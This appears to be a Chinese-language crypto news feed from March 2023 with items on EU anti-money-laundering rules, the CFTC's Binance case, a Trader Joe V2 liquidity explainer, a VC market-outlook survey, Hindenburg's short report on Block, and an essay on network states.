    PANews 3月28日消息，据The Block报道，欧洲议会经济事务和内政委员会的成员以99票赞成、8票反对和5票弃权投票通过反洗钱条例。经过政策制定者和利益相关者之间数周的反复谈判，委员会成员就他们的文本版本达成一致，该文本将在议会进行全体投票。然后，它将进入机构间谈判，议会、欧洲理事会和欧盟委员会将需要达成协议。 如果该法规通过，信贷和金融机构在实现价值超过1000欧元（1080美元）的加密货币交易时，将需要采取尽职调查措施。此外，对于与欧盟以外的加密货币服务提供商的代理关系，以及涉及自助钱包的支付，都有强化的尽职调查措施。禁止与未经许可的实体建立商业关系。对于商业加密支付，除非确定钱包所有者，否则将限制来自自托管钱包的价值超过1,000欧元的交易。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.28）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    美国CFTC主席：币安案是持续的欺诈行为，将在法庭上就此案积极辩论
    PANews 3月28日消息，据金十报道，美国商品期货交易委员会（CFTC）主席：（当谈及交易平台币安时）这似乎是一个非常明显的逃税案例，我们需要积极介入，尽快行动，因为这是持续的欺诈行为。关于此案的证据不言自明，将在法庭上就此案积极辩论。  ( 4 min )
    Galaxy Digital 2022年净亏损10亿美元，其中Q4亏损2.88亿美元
    PANews 3月28日消息，据The Block报道，加拿大上市的加密货币投资公司Galaxy Digital年报显示2022年净亏损10亿美元，而2021年实现的利润为17亿美元。它还报告第四季度亏损2.88亿美元。该公司将亏损归因于其投资组合的未实现市值。该公司表示，预计其经营业务将在今年第一季度录得净利润。 2022年11月报道，GalaxyDigital持有7680万美元FTX风险敞口，Q3净亏6810万美元。  ( 4 min )
    ARB交易额暴增，币价逆势拉升，揭秘Trade Joe V2机制的独特之处
    原文：《ARB 交易大放异彩，揭秘 Trade Joe V2》 作者：CapitalismLab 最近 Trade joe V2 因为从 Uniswap 手里抢到大量 Arb 交易份额而火爆，币价迅速翻倍。那么其究竟是如何做到的？为其提供流动性又需要注意些什么？ 本文将带你深入浅出的了解 Joe V2 的机制，分析其为何能在$ARB 交易中获取大量份额，以及产品的优劣势，帮助你更好地理解 DEX。 Trade Joe V2 简单概括：   AMM 机制 接下来以 Joe V2 中的 ARB/ETH 20bps 池为例来进行深入分析，首先我们看一下池的流动性分布，咋一看跟 UNI V3 是挺像的。 那么其根本性不同在什么地方？Joe V2 的一个长条（bin）即对应一个单点价格，就是说除非你把这个 bin 的流动性消耗光，否则价格是不会变化的。比如下图，可以看到该 Bin 内有大约 35k Arb 和 2 ETH，如果此时有人按 0.00066 卖了价值 2E 的 Arb，那么交易的 Bin 就会向左移动一位，价格才会发生变化。 我们再对该池尝试添加流动性，发现是可以添加单点流动性，就是说添加的流动性就在一个价格上，这其实就相当于在订单簿中放一个 Maker 单。那旁边的 Pct Rage = 0.20% 是怎么回事？ 我们稍微移动一下右侧滑钮，将价格范围扩大到 2Bin，然后计算两个价格的相对差别。 (0.00067237272-0.00067103065)/0.00067103065 = 0.20% 也就是说 0.20% 就是最小价格精度 我们看下偏离当前价格较大的情况如何，比如 ARB/ETH = 0.0001 的位置。可以得出 /0.00010015473 = 0.20% 对的，可以理解为任一位置上下价格之差都是 0.2%，基于比例而非固定数值。这是和传统订单簿相差较大的地方，传统订单簿一般给一个固定数值的最小精度，比如 0.01 USDT 这样。 Joe 的 UI 也给出了 4 种添加流动性的方式，点击上图右上角的「learn more」就可以学到对其详细的定义，但是除了 Spot 之外，其他四种都是使用官方设定的参数值，不可控。所以我建议使用 Spot，存法类似 UNI V3, 大不了多存几个不同价格范围的。另外目前 Joe V2 目前有流动性激励，必须考虑这个的收益。 目前这些池名后带有「Rewards」标签的是有流动性挖矿激励的 Joe V2 的流动性挖矿激励分配模式： 1. 根据 LP 实际获取的交易手续费和 MakerTVL 算出分数，参见下图 2. MakerTVL 目前只看当前价格 +- 5bin 内的，比如 Arb/ETH 0.2% 的 Bin 宽度，那么只有当前价格 +-1% 以内的 TVL 才会被记入 3. 当一个 Epoch 结束后，统计该 Epoch 之内的分数然后按比例集中发放 就是说如果想要获取流动性激励，还是需要比较集中地提供流动性。 如想知道更多细节，可见文档 假设当前市场在持续买入 Arb，Uniswap Arb/USDC = 1.005，假设 Joe V2 的价格精度为 1%，bin 分布为 [0.99, 1.00, 1.01…]。这个时候 Joe 当前的 bin 应为 1.00，比 Uni 便宜 0.5%，那只要交易费比这个差距小，通过 1inch 等聚合器买入 Arb 的交易自然就会优先走 Joe，反之如果是卖 Arb 的话 Joe 就没有优势。也就是说其在高波动率出单边行情下较有优势，而低波动率猴市下则比较平庸。 加上 Joe 针对 ARB/ETH 的交易对设置了 0.2% 的费用，而在当时由于波动预期较高，UNI 又只能设置 0.01%/0.05% / 0.3%/1% 这四档，大部分 LP 位于 0.3% 以上档位，相比 Joe 的 0.2% 又有劣势。 高波动率下的经常性汇率优势 + 相对较低的费率，使得 Joe V2 在 ARB0.00启动初期获取了大量的份额。目前随着波动率的下降，其汇率也不再有经常性优势；UNI V3 LP 回归 0.05% 费用的池子，也基本失去费率优势，所幸名声打出来了，加上其有不错的激励机制，给了项目方更大的操作空间。 实际上在上面的 Arb 交易份额论述中，其 AMM 机制带来的优劣已经说明，这一节讨论其他方面： 优势： 1. 垂直聚合流动性带来更好的可组合性 2. 高效率+支持激励，可以拿到合作方的激励，比如有望受益于 LSD war 劣势： 1. 没有成熟的 Bribe 等代币赋能机制，代币持有者收益有限 2. 无常损失相对较大 优势：可组合性 由于在 Joe V2 中，流动性是通过每个 bin 垂直聚合的，而在 Uniswap V3 中，流动性是横向聚合的。垂直聚合的主要好处是它允许流动性可替代。 我们看一笔具体添加流动性的交易，会发现在用户添加 ETH/USDC 后，Joe 给用户返回了大量不同 Token ID 的 ERC-1155 LBT，反应了用户在不同价格水平上的流动性分布。 这跟返回单个 NFT 的 UNI V3 有较大差别。因为相同 Token ID 代表流动性位于单个 Bin/价格水平内，这是同质化的，具有更好的可组合性。 优势：合作方激励预期 集中流动性高效率+支持激励，有望吸引到 LSD 等有流动性需求的合作方来提供激励，比如此前 UNI V3+ 激励 模式 Kyberswap, 就从 Lido 拿到了仅次于 Curve 的激励分配（参见下方推文），并且占据了极大的 Alt-l1/L2 的 LSD 交易量份额。 那么能够提供类似价值的 Joe V2 理论上也有这个机会，从而提升 TVL 和交易量。 劣势：代币赋能问题 如我下方推文所述，纯现货 DEX，如果没有 bribe 这类额外赋能机制的话，是比较困难的，空有 TVL 和交易量却无法转化为代币持有者的收益。 目前是 Joe 通过手续费抽成来获取收益，但抽多了又势必影响份额。Joe 虽然有 Ve Joe, 但并不是复制 Curve 走 Bribe 这条路，目前看来并不十分成功，因此代币赋能仍然是个问题。 劣势：无常损失相对较大 如前文所述，单边行情下 Joe V2 有经常性汇率优势，但这对于 LP 而言实际上是承担了更大的无常损失，相当于更便宜的把币卖了。 Joe 会合理设置费用来补足这一点，比如 1% bin 宽度的 ARB/USDC 费用为 0.8%，0.2% bin 宽度的 ARB/ETH 费用为 0.2%。加上此点并不容易察觉，所以还好。 Trade Joe V2 相对 UNI V3 在效率上更多的是做到了特定场景下的差异化优势，而高可组合性这个优势的发挥非常依赖其的自身规模。因此后续应该持续关注项目方的 BD 等操作，看能否 BD 到足够的合作激励，构建起增长飞轮。  ( 6 min )
    Argent提醒Argent X用户尽快更新帐户，否则将无法访问钱包账户和资产
    PANews 3月28日消息，智能合约钱包 Argent 发推称 Starknet 正在升级，提醒 Argent X 用户尽快更新帐户，否则之后将无法访问钱包账户和资产。钱包界面显示“Update Required”的用户需尽快进行升级。不显示“Update Required”的钱包用户不需要进行升级。为 Starknet 移动用户提供的浏览器钱包不会受到影响。  ( 4 min )
    银行危机爆发，比特币“V型反转”，加密VC们对今年市场行情和叙事都有什么看法？
    原文：《当比特币趋势反转后，VC们对今年的市场预期改变了多少？》 作者：Jack 2022 年底市场进入深熊以来，人们对下一轮市场周期的预期大都放在了 2024 年比特币减半之际，而对 2023 年的市场行情并不看好。从今年初的行情表现来看，似乎的确如此。尽管市场情绪迎来「春季躁动」，但更多呈现出的还是板块和热点的快速轮动，并没有新资金入场的迹象。 本月初，硅谷银行暴雷，涟漪效应在数日后波及加密市场。USDC 因其发行商 Circle 在 SVB 有存款而遭到挤兑，出现大幅脱钩，市场似乎又将滑入冰点。但令人意外的是，美联储的救援及时到来，暂时缓解了银行业的流动性危机。紧接着，就是比特币在随后两天里迎来一轮「暴力拉升」，日内涨幅罕见地达到 20%。突如其来的上涨打乱了许多投资者的阵脚，在懊悔踏空之余，大家又开始思考：比特币今年还会上涨吗？对此，BlockBeats 列出了 8 个市场最期望得到答案的问题，并向以下几位知名机构投资者征集了看法： BMAN，ABCDE Capital。ABCDE 由 Huobi 联合创始人杜均和前 Internet&crypto 创始人 BMAN 共同创立，致力于投资和支持 Web3 Builders； Jason，Folius Ventures。Folius Ventures 投资、普及、并参与构建 Web3 生态，致力于支持亚太及华人创业者； Pima，Continue Capital。Continue Capital 成立于 2016 年，专注于投资和孵化全球区块链技术、早期技术初创和提供量化交易服务； Bill，Cypher Capital。Cypher Capital 是一家总部位于阿联酋的多策略的 Crypto 投资基金，覆盖 VC、二级市场、节点、BTC 挖矿等领域； Jerry，Synergis Capital。Synergis Capital 致力于投资下一代早期初创企业，并通过激活自身的范式引领者网络以推动企业的发展。 BlockBeats 注，文中回答多于 3 月 24 日前，过去一周发生了不少突发事件，比特币价格走势也发生了较大变化，更加凸显出投资者们观点的洞见性。以下是 BlockBeats 提问及机构投资者们的回答： BMAN - ABCDE Capital：市场已经经历多轮去杠杆，我们观测到大量机构资金在 BTC 1.8 万至 2 万美元区间买入，倾向于认为底部已经出现，不会再创新低。下半年有多个大型项目落地上线测试网，明年比特币再度减半，市场距离牛市还差一个叙事，就像 2020 年的 DeFi Summer，值得期待。 Jason - Folius Ventures：个人偏悲观。从紧缩到宽松的转变正在发生，但宽松后的风险资产价格及可能重回的通胀将可能导致美联储出现政策错误，同时叠加实际炸雷导致美国进入更深度衰退。市场有可能在 Q3 对此进行定价。个人更倾向于上半年努力，下半年走一步看一步。 Pima - Continue Capital：4 万美元以上，下半年谨慎。 Bill - Cypher Capital：BTC 从 2022 年 LUNA 事件开始跌到了 3 万美元以下的区间后，BTC 在这个区间盘整了大半年了。既然是 LUNA 事件是叠加宏观因素导致了部分资金离开了这个市场从而导致的下跌的话，如果我们能看到更多的资金重新进入这个市场，我们会对 BTC 的后续走势有信心。这次的 SVB 事件，第一次出现了银行股和 BTC 完全不同的行情，我们觉得未来这样的分道扬镳的行情可能会更多。 Jerry - Synergis Capital：加密市场整体方向的走势与宏观经济环境有着很大的关联性。本次美联储加息 25 个基点，市场反应为 5 月加息后就终结本轮加息周期，这是本轮加息周期首次由鹰转鸽的拐点，也是我们预料之中「something broke」后的结果。虽然暂时美联储在点阵图上比市场预期来的要更加鹰派一些，但这也是在通胀没有下来之前保持 loop 意料之中的手段。总体来说我们认为短期的紧缩顶峰已经过去，美联储将会继续缓解近期的流动性需求，所以我们短期持续看好本轮的牛市。至于中期能持续多久，主要取决于下半年美国经济环境有多疲软，以及参考粘性最强的薪资和非住房服务部门的通胀数据。长期来看，周期性宏观叙事的主旋律已经从底层改变，美元美债的霸主地位正在被动摇，随着去全球化下的新秩序变革，加密资产有机会在此币缘之争的舞台上大放异彩，但伴随着的也将是持续不断的波动。 BMAN - ABCDE Capital：同问题 1. Jason - Folius Ventures：未完全解决，但市场已经大约预判了未来可能出现的问题，以及美联储即将因此问题所作出更宽松的选择。因此即使问题未完全解决，个人认为上半年风险资产将继续向好。 Pima - Continue Capital：各方博弈施压美联储，流动性短期缓解；全球对抗导致「廉价能源+人口红利低端制造+消费」的低通胀全球化分工模式产生逆转，要看最不容易下降的后半段通胀率如何降低，下半年是个观察的窗口期，难谈反转。 Bill - Cypher Capital：需要注意的是美联储的 BTFP 计划解决的银行的流动性危机和风险资产市场的流动性并不是一个东西。BTFP 计划并不是永久地将债券等资产从银行的资产负债表中拿走，这个和之前的量化宽松是不一样的。在银行的救助后加密货币市场已经反弹了很多，我们应该更前瞻性地看市场风险的问题。 Jerry - Synergis Capital：我们认为 SVB 的救助计划加上坚持持续加息的两个动作已经确认了美联储会通过使用资产负债表工具来解决短期准备金短缺问题的决心，所以我们认为反转的节点已经到来，短期流动性紧缩的峰值已经过去。 BMAN - ABCDE Capital：一方面是规避银行破产的资金流入 BTC，一方面是市场上涨初期都是 BTC 的吸血行情。 Jason - Folius Ventures：BTC 更多跟随黄金+长债交易衰退，而 ETH 更多跟随纳斯达克和长债。BTC 普遍被币圈机构低配了。当风险资产重新因宽松上扬后，ETH 应跑赢 BTC。 Pima - Continue Capital：ETH 有过一轮 800 美元至 2000 美元的反弹，上摸长期均线；BTC 还没有过这种大级别反弹，这次后补一下。 Bill - Cypher Capital：短期内的波动本身就很难解释的，如果要关注价格走势的话，有句话是说「When in doubt, zoom out.」而且只看 ETH 本身的波动也是片面的，比如 ETH 生态中的 Arbitrum 最近就很火，但这一点不一定就会立即反映在 ETH 本身的价格上。另外，如果我们 Crypto 行业和传统行业对比的话，那么 BTC 是「黄金」，其他币是「生意」，BTC 在过去一周，某种意义上扮演了「避险资产黄金」的角色。 Jerry - Synergis Capital：我们并不认为有大量的外部资金流入到加密市场，在 FTX 事件之后，加密市场一直处在轮动和 PVP 的状态当中。这次比特币的涨势主要是从稳定币以及其他币种的资金进入到比特币避险引起的。另一部分原因归结于美国监管有概率把比特币以外的所有加密货币都视为证券，导致以太坊的价值存储属性的安全性相对降低。比特币历史上一贯被视为加密世界中的硬通货以及传统金融体系的代替物，所以目前的银行体系受压的叙事也增加了其表现。我们预计随着美国银行系统崩溃的担忧消退，部分资金会从比特币重新流回到以太坊以及其他风险偏好更高的币种。 BMAN - ABCDE Capital：我们相信未来会出现资金板块轮动，会布局各个板块的龙头项目。 Jason - Folius Ventures：大概率。现有板块弹性都不大。个人还在等应用层。可以跟随一下 ARB 空投资金流向。 Pima - Continue Capital：有新资金是会分流，不至于普涨；个人会布局新公链、L2、ominchain 方向。 Bill - Cypher Capital：一定会的。Cypher 并不是要做某一个板块的 ETF，所以我们会在各个板块都做布局，同时我们也期待创业者能带我们见证新的板块的诞生和成长。 Jerry - Synergis Capital：今年四月以太坊将迎来上海升级，允许质押的以太坊进行解锁。虽然短期内可能会对以太坊价格带来一定的不确定性，但我们认为这次升级将会大大提升之后以太坊网络上质押的数量，同时利好以太坊的价格, 使得以太坊/比特币汇率也会获得提升。这将进一步增加以太坊生态的网络效益，使得其他公链生态发展变得更加艰难。在具体板块上，鉴于近期监管细规的不确定性，我们对 web2.5 的投资相对谨慎，特别是在 web3 企业级服务和 permissioned DeFi 赛道。作为行业内比较活跃的创作者经济 VC，我们持续在全价值链的各个部分精准孵化及投资头部团队。鉴于流动性的回归，DeFi 也将是我们重点关注的赛道，尤其是在去中心化稳定币以及期权交易创新方面。 BMAN - ABCDE Capital：短期看好 BTC，银行破产的危机还没解除，短期会有资金进入 BTC。 Jason - Folius Ventures：都看好，叙事不一样。两个都配，个人不愿意做选择。 Pima - Continue Capital：不应该考虑这个问题。 Bill - Cypher Capital：我个人短期看好 BTC，因为这是全球宏观叙事下向「backed by math, instead of backed by centralized protocol」的资金迁移。Cypher 在加密货币市场的布局是长线的，我们并不那么关注短期的市场波动情况。BTC 和 ETH 生态都有创新和活跃的生态，Cypher 在两者都会积极布局。 Jerry - Synergis Capital：比特币已经证明了其在区块链世界中的特殊地位和属性，但是我们也不应该小觑以太坊的通缩代币经济模型以及其包括二级公链在内的生态系统所带来的强大网络效应。二级公链生态帮助以太坊解决扩容问题，目前最具有创新性的项目仍旧是搭建在 EVM 上的，传统企业想要进军区块链的话也会优先选择以太坊 L2。相比之下，比特币则缺乏以太坊所拥有的众多应用场景，这种差距可能在未来会越来越明显。 BMAN - ABCDE Capital：Layer2 的战争刚刚开始，会持续到 ZK 的 Layer2 项目上线。 Jason - Folius Ventures：很健康。应该是最有机会的二层之一。我认为可以多看看 Axiom + EigenLayer 为以太生态带来的好处。 Pima - Continue Capital：会。 Bill - Cypher Capital：Arbitrum 宣布空投标准和快照时间后，我们并没有看到其链上活跃数据有大幅下降，这说明用户对其生态是有粘性的。我们很期待看到 Arbitrum 生态的进一步发展。 Jerry - Synergis Capital：Arbitrum 自上线以来，生态内去中心化金融服务 DeFi 和游戏领域都呈现出稳定的有机增长，哪怕是在其代币空投预期不确定的时候。Arbitrum 目前拥有众多合作伙伴的支持，同时自身协议也在不停创新，尤其是 Stylus，将有机会将大量之前 Solana 上使用 Rust 的开发者引入到 Arbitrum 生态, 因此我们对 Arbitrum 的前景持续看好。 BMAN - ABCDE Capital：Layer2 生态都会去体验。 Jason - Folius Ventures：ZK 赛道落地需要时间。个人认为 Scroll 会是匹黑马。另外 SUI 在 App 方面也可以看看。 Pima - Continue Capital：我交互的少，但是可以给说下值得交互的项目：zkSync，StarkNet，Sui，LayerZero。 Bill - Cypher Capital：作为机构投资者，我们更关注长期投资。 Jerry - Synergis Capital：我们看好在 DeFi 和 web3 游戏方面取得了创新性进展的协议。至于空投预期，我们会更多关注在一级市场里获得了大量一线资本注入的公链，比如 Celestia, Sui 还有 Scroll 这类新兴的协议。 BMAN - ABCDE Capital：BTC 和 PoW 阵营一直有长久忠实的社区，相信并期待会出现围绕 BTC 的创新生态。 Jason - Folius Ventures：Stacks 生态需时。不适合短炒。真正起量需要等他们 EVM 上线，届时恰逢 BTC 24 年减半之前。应该是整个市场里弹性最大的叙事。 Pima - Continue Capital：21 年底，Taproot 升级是带来这一切的主因，长期 4 年看可能会失败，但是短期是个很难证伪的命题，存在市场「预期差」，反而是利润的来源，值得关注。 Bill - Cypher Capital：任何创新在早期在 UI/UX 方面都是没有那么成熟的，Cypher 对于技术创新一直都是抱着积极的态度的。Cypher 参与了 TwelveFold 的竞拍并且幸运地获得了一枚 Ordinals。我们欢迎在 BTC 生态有着想法和项目的创业者随时和我们探讨。 Jerry - Synergis Capital：比特币拥有最庞大的持有者群体和最忠实的社区基础，从过往闪电网络生态持续发展的数据经验看来，BTC 生态大概率不会是昙花一现，我们基金在 BTC 生态早有系统性布局，但认为目前确实在智能合约技术和部署方面相对以太坊生态存在明显的落后。  ( 7 min )
    猎杀时刻：继狙击印度首富之后，做空“新星”盯上加密市场
    来源：21tech（News-21） 作者：李强 编辑：张伟贤 卢陶然 图源：图虫 继狙击印度首富之后，做空“新星”兴登堡研究（Hindenburg Research）又将狩猎目标转向Twitter创始人Jack Dorsey旗下的支付公司Block（SQ.N）。 根据官网介绍，兴登堡的主要业务包括披露企业的会计造假、管理问题、未公开关联交易、财报违规等。“兴登堡”一名源于1937年美国新泽西州的兴登堡号飞艇空难，飞艇在准备着陆时起火燃烧，创始人Nathan Anderson认为这起空难完全是人为造成，于是将公司取名兴登堡，来揭露市场中的类似“人为灾难”。 2017年创立后，兴登堡主要针对知名度较小的公司发报告，通过做空相关公司股票来营利，直到今年，兴登堡才迎来高光时刻。 1月24日，兴登堡发布了对印度最大的基础设施企业阿达尼集团（Adani Group）的做空报告，指责其操纵股价、财务造假、债务过高，尽管阿达尼一再否认，该集团市值还是在之后的不到一个月时间内直接腰斩，损失超过1300亿美元，成为印度股市历史上最严重的损失之一，并造成了一系列的市场和社会混乱，高塔姆·阿达尼（Gautam Adani）本人也从亚洲首富的位置上被拉下马。 3月23日，兴登堡发布了一份以“Block：膨胀的用户指标和'无摩擦'欺诈便利化如何让内部人员套现超过10亿美元”为题的做空报告。 “我们为期2年的调查得出的结论是，Block系统性地利用了它声称有帮助的用户数据……Block业务背后的“魔力”并非颠覆性的创新，而是该公司欺诈消费者和政府、规避监管、将掠夺性贷款和费用伪装成革命性技术，并以夸大的(用户)指标误导投资者。”兴登堡在报告中表示。 做空报告公布后，Block在3月23日大跌逾14.82%，其盘中跌幅更是一度达到22%。 自去年一连串的加密机构爆雷以来，越来越多的做空力量开始加入到这场加密世界的狩猎中。 例如，2022年11月，在加密世界“明星”——加密货币交易所FTX爆雷之后，做空机构香橼研究（Citron Research）随即表示重新出山，发起对于ETH（以太坊）的猛攻。 “FTX证明了很多股票是因为‘别人做了功课’的误解而上涨，这重新点燃了我们的做空热情，并将继续做空ETH，在我们看来，这个1300亿美元的代币与SBF的故事一样存在许多常识性的漏洞。”香橼研究彼时表示。 值得注意的是，在加密市场牛市的2021年，兴登堡就曾悬赏一百万美元，试图攻击第一大稳定币USDT发行商Tether的储备资产风险问题，而Block则成为这只“秃鹫”的第一次落地。 兴登堡在报告中列出了Block的两大罪状：夸大用户数据，为犯罪行为提供便利。 兴登堡表示，Block严重夸大了其真实用户数量并低估了其获客成本。前员工估计，他们审查的账户中有40%～75%是虚假账号，或者是涉及欺诈的账号，即使用户被发现从事欺诈或其他被禁止的活动，Block也只是将该帐户列入黑名单而不作封号处理。 尽管Block可以且应该向投资者澄清Cash App的实际用户数量，但Block还是通过报告充满虚假和重复账户的误导性“交易活跃”指标来隐瞒旗下Cash App平台的真实用户数据。 另外，兴登堡在报告中认为，Block忽视了合规问题。当新冠肺炎疫情威胁到其商家销售点服务的收入时，Block“压制了内部担忧，忽视了用户的求助请求，当时犯罪活动和欺诈正在其平台上猖獗。” 在2019年的年报中，Block（彼时公司名为“Square”）报告了47亿美元的总净收入，其中65%来自交易费用，22%来自订阅和软件业务，2%来自Square Terminal等硬件，其余来自比特币。 2020年受疫情影响，Block的交易、订阅和硬件收入在第二季度都有所下降。但到2020年下半年，情况开始好转。交易费用出现反弹，原因是零售商处理了更多“无卡”交易，这类交易收取的费用更高。Cash App帮助订阅类的收入增长到15亿美元，比前一年增长了49%。截至2022年底，订阅收入激增至45亿美元，几乎相当于该公司在疫情开始前一年的全部净收入。 兴登堡报告称，Block的Cash App增长如此之快，是因为它被用来诈骗新冠肺炎救济金，而且该公司无视美国联邦和州执法部门的询问。兴登堡在其报告中写道：“为了维护其增长引擎，Cash App忽视了内部员工的担忧，以及特勤局、美国劳工部OIG、FinCEN和州监管机构的警告，这些机构都明确指出，多笔新冠肺炎救济金进入同一账户是明显的欺诈迹象。” Block则在随后的回应中表示，考虑针对兴登堡的做空报告采取法律行动，公司有意配合SEC的工作，Block称，兴登堡的卖空者报告意在欺骗和困惑投资者，并且对公司产品、报告和合规计划都有信心。 上海交通大学上海高级金融学院教授、前美联储高级经济学家胡捷向21世纪经济报道记者分析表示，本轮加密熊市中的爆雷事件，以及相关联但尚未暴露的风险危机会在今年集中爆发，对于加密机构来说今年也是一个比较难熬的时期。 “这轮熊市中暴露的危机都要得到解决，特别是已经爆雷了的，牵连的机构们存在的问题也需要时间去暴露和解决，就像脓疮一样，一定要破了以后进行彻底的清理，这个过程是必须经历的。我认为加密市场的‘排雷’会在今年结束，但现在还没完，这也是加密市场重回牛市的先决条件之一。”胡捷表示。 随着加密世界危机不断爆发，甚至开始有向传统金融机构蔓延之势，SEC（美国证券交易委员会）等监管也开始收紧对于加密行业的管控，并主动切断传统金融与加密世界之间的联系。 3月9日，由于遭遇FTX爆雷后的挤兑，加密银行Silvergate宣布清算。Silvergate是一家依靠加密业务快速成长的地区性小银行，但谁也没想到这就像一张多米诺骨牌，很快就将存在类似客户结构单一、期限错配等问题，但规模为前者二十倍的硅谷银行压倒。 美联储副主席Michael S.Barr此前曾指出，SEC向受监管机构强调，他们需要了解到与某些加密行业相关的存款的流动性风险。 “我们一直希望银行能够评估和管理其资金来源的流动性风险。正如SEC此前声明中明确指出的，加密行业的储户拥有的资产可能会受到该行业波动的影响，这在过去几个月中也很明显。这种波动会导致不可预测的、快速的、相关的存款流入和提取，因此，他们存款的流动性风险当然需要额外的关注。对于那些资产负债表上有很大一部分来自于此类存款的银行而言，流动性问题尤为严重。”Michael S.Barr表示。 由于硅谷银行关系着大量科技初创企业，为了防止危机扩散，美联储随后选择兜底，值得注意的是，在联合声明中，另一家加密友好的地区银行Signature Bank也被纽约州监管机构关闭。 更早一些，2023年2月，纽约金融服务部（NYDFS）要求稳定币发行商Paxos停止发行稳定币BUSD，Paxos也因BUSD相关问题收到SEC的“Wells通知”（SEC对在美上市公司进行民事诉讼前发出的非正式提醒），或将面临SEC非法发行证券的指控，迫于压力，Paxos与加密货币交易所币安也只能宣布弃用BUSD。 SEC委员Hester Peirce也在近日公开表示，SEC采取的立场是将大部分代币归类为证券，以最大限度地扩展其管辖范围。 3月22日，Coinbase（COIN.O）披露收到SEC的Wells通知，Coinbase则以强势态度回应表示，SEC在粗略调查后就公司上市数字资产的未指明部分、质押服务Coinbase Earn、Coinbase Prime和Coinbase Wallet发出了Wells通知。 “Wells通知没有提供很多信息供我们回应，SEC工作人员告诉我们，他们已经发现了潜在的违反证券法的行为，但仅此而已。我们特别要求美国证券交易委员会确定他们认为我们平台上的哪些资产可能是证券，但他们拒绝这样做。” 收到Wells通知之后，Coinbase股价也迎来连跌，3月22日与3月23日分别跌去8.16%和14.05%。 不巧的是，Block和Coinbase两个都是“木头姐”Cathie Wood押注加密行业的重仓标的，同时也是其最出名产品——创新技术ETF基金（ARKK基金）的前十大重仓股。 从去年11月开始，Ark Invest就一直在增持Coinbase股票，3月21日，Ark Invest出售了价值1350万美元的Coinbase股票，成为该基金自去年7月以来首次出售大量Coinbase股票，3月23日，Ark Invest再度购买近1800万美元的Coinbase股票。 对于Block，Ark Invest也在持续买入，据记者不完全统计，Ark Invest分别在3月13日、3月14日、3月16日、3月18日增持了640万美元、1370万美元、900万美元、430万美元的Block股票。 Strategas Securities ETF策略师Todd Sohn认为，ARKK基金将坚持对这两家公司的看法，并将长期投资加密货币领域。 “如果说ARK及其团队有什么突出之处，那就是他们以最大的信念坚持自己的投资，500个基点的加息并没有阻止她们投资去年遭受打击的股票。所以无论是像兴登堡做空Block还是Coinbase违反证券法这样的头条新闻，我倾向于认为他们会进行尽职调查，并决定是否对一个标的进行减持。”Todd Sohn表示。  ( 4 min )
    资管巨头富达正在组建加密货币研究团队
    PANews 3月28日消息，据The Block报道，资产管理巨头富达（Fidelity） 正在组建其加密货币研究团队，目前正为其加密货币和代币研究开发团队招聘一名负责人。新设立的职位将是一个高级职位，将加入其资产管理业务中现有的量化研究和投资技术团队。  ( 4 min )
    时代巨变，诸神觉醒，网络国家和主权个人正兴起
    撰文：Jingyi，云起方达创始人、LD Capital Advisor 「勇敢些，把神的意思释告我们，不管你知道什么。我要对宙斯钟爱的阿波罗起誓——那位你，卡尔卡斯，在对达奈人卜释他的意志时对之祈祷的天神——只要我还活着，只要还能见到普照大地的阳光，深旷的海船旁就没有人敢对你撒野。没有哪个达奈人敢对你动武，哪怕你指的是阿伽门农，此人现时正自诩为阿开亚人中最好的雄杰！」——《荷马史诗》 14 世纪 -16 世纪，欧洲曾经发生过至少 166 场大规模亡国灭种的战争，平均每次战争的延续时间超过 8 年，平均每年都有超过两三场战争同时展开，延续时间超过 8 年的战争有 15 次之多。从公元 1500 年开启大航海到 1700 年工业革命前夜，在这 200 年期间，欧洲有 95% 的时间都处于战争状态。欧洲各国为了打赢一场接一场的战争，平均每年必须将高达 80% 以上的财政收入用于军事开销。战争资本主义的出现，对西方文明以及全球经济格局的形成开始产生深刻影响。而根本原因是在地域扩张和人口兼并为主要增长模式的时代，暴力杠杆的经济效益最大，城邦制国家需要更强权政府的保护去对抗暴力，在持续百年的英法之战中，英国霸权崛起，英语至今成为全球知识和商业交流的主要语言，亚伯拉罕平原的的胜利，为美国革命的成功搭建舞台，印度成为至今说英语人口最多的国家，财富的不断流入为工业革命提供燃料。强权政府以及世界霸权的角逐成为各大经济体的主要逻辑。 然而今天人类已经从工业时代演变到信息时代，社会结构和经济增长的逻辑发生了根本改变，暴力的成本和收益在下降，方式在改变。人类的根本冲突已经从大国霸权变成了高度发展的技术生产力与有限的资源之间矛盾。星际探索外拓资源和促进生产关系更高效的进行资源配置是人类正在探索的路径和解决方案。在信息时代，网络经济体必将蓬勃发展，孕育出更先进的组织和个体形态——NETWORK STATE( 网络国家 ) 和 TSI(The sovereign Individual 主权个人 )。 火药武器和航海技术的重要性已经被远程通讯和高通量计算所替代，十五世纪晚期，是一个至暗时代，也是个绝望的年代，但这并不是历史独一无二的存在，在所有的变革来临之前，社会的动荡与不安是必然产物。而今天，赢家通吃的竞争模式、强权政治的长臂管辖、高成本的分工协作、大规模生产的迁移，都会面临改变。改变已经开始并会加剧，基于以下背景与事实： 在马克思主义和制度经济学看来，资源配置的决定因素不是市场，而是制度安排中的权力结构。制度和资源配置是两个主要的内生变量，而不同集团的权力是制度变迁中的主要因素，其中权力的来源包括政治制度下的合法政治权力和资源配置状态下的实际政治权力，本质上就是经济权力 。正是权力的分配决定了经济制度 、资源分配和经济增长率 。 我们可以轻易的发现该观点的前置假设具备两个条件，一是权力的强大和稳定，二是经济增长的增速。而当今世界，各国政府负债和赤字、增发货币转嫁成本，经济增长找不到出口，全球进入存量博弈时代。权力的保护和杠杆作用减弱，在考虑风险成本和偏好因素之后，资源早晚会选择向具备更高配置效率且税收友好的市场流动。 以美国政府为例，自 1990 以来的三十年间，只有 1999 年和 2000 年美国联邦政府财政收支略有盈余，其它的 28 年里美国联邦政府财政收支都是财政赤字。未来九年间（2022 年 -2031 年）美国联邦政府综合财政收入预计将保持 3.45% 的年均增长率，到 2031 年美国联邦政府财政收入将达到 5.957 万亿美元。与此同时，这九年间联邦政府综合财政支出预计将保持 3.88% 的年均增长率；到 2031 年美国财政支出将达到 7.812 万亿美元。根据这一测算，2031 年美国联邦政府的财政赤字测算将达到 1.855 万亿美元。（数据来源美国国会办公室）在网络经济兴起的背景下，可以预见财收入的税收能力还将进一步下降。 